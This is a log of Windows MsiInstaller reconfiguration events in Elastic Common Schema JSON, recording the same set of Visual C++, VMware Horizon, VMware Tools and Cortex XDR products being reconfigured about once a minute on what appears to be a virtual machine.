{"@timestamp":1657397890518,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170803}}
{"@timestamp":1657397950299,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170804}}
{"@timestamp":1657397950325,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170805}}
{"@timestamp":1657397950376,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170806}}
{"@timestamp":1657397950417,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170807}}
{"@timestamp":1657397950444,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170808}}
{"@timestamp":1657397950475,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170809}}
{"@timestamp":1657397950502,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170810}}
{"@timestamp":1657397950529,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170811}}
{"@timestamp":1657397950566,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170812}}
{"@timestamp":1657397950594,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170813}}
{"@timestamp":1657398010461,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170814}}
{"@timestamp":1657398010487,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170815}}
{"@timestamp":1657398010537,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170816}}
{"@timestamp":1657398010576,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170817}}
{"@timestamp":1657398010604,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170818}}
{"@timestamp":1657398010635,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170819}}
{"@timestamp":1657398010663,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170820}}
{"@timestamp":1657398010690,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170821}}
{"@timestamp":1657398010726,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170822}}
{"@timestamp":1657398010753,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170823}}
{"@timestamp":1657398070451,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170824}}
{"@timestamp":1657398070478,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170825}}
{"@timestamp":1657398070527,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170826}}
{"@timestamp":1657398070566,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170827}}
{"@timestamp":1657398070594,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170828}}
{"@timestamp":1657398070624,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170829}}
{"@timestamp":1657398070651,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170830}}
{"@timestamp":1657398070680,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170831}}
{"@timestamp":1657398070718,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170832}}
{"@timestamp":1657398070748,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170833}}
{"@timestamp":1657398130567,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170834}}
{"@timestamp":1657398130593,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170835}}
{"@timestamp":1657398130642,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170836}}
{"@timestamp":1657398130682,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170837}}
{"@timestamp":1657398130710,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170838}}
{"@timestamp":1657398130741,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170839}}
{"@timestamp":1657398130767,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170840}}
{"@timestamp":1657398130793,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170841}}
{"@timestamp":1657398130830,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170842}}
{"@timestamp":1657398130859,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170843}}
{"@timestamp":1657398190351,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170844}}
{"@timestamp":1657398190378,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170845}}
{"@timestamp":1657398190428,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170846}}
{"@timestamp":1657398190467,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170847}}
{"@timestamp":1657398190495,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170848}}
{"@timestamp":1657398190525,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170849}}
{"@timestamp":1657398190551,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170850}}
{"@timestamp":1657398190578,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170851}}
{"@timestamp":1657398190613,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170852}}
{"@timestamp":1657398190640,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170853}}
{"@timestamp":1657398250485,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170854}}
{"@timestamp":1657398250512,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170855}}
{"@timestamp":1657398250563,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170856}}
{"@timestamp":1657398250602,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170857}}
{"@timestamp":1657398250630,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170858}}
{"@timestamp":1657398250661,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170859}}
{"@timestamp":1657398250689,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170860}}
{"@timestamp":1657398250718,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170861}}
{"@timestamp":1657398250755,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170862}}
{"@timestamp":1657398250782,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170863}}
{"@timestamp":1657398310048,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170864}}
{"@timestamp":1657398310074,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170865}}
{"@timestamp":1657398310124,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170866}}
{"@timestamp":1657398310164,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170867}}
{"@timestamp":1657398310193,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170868}}
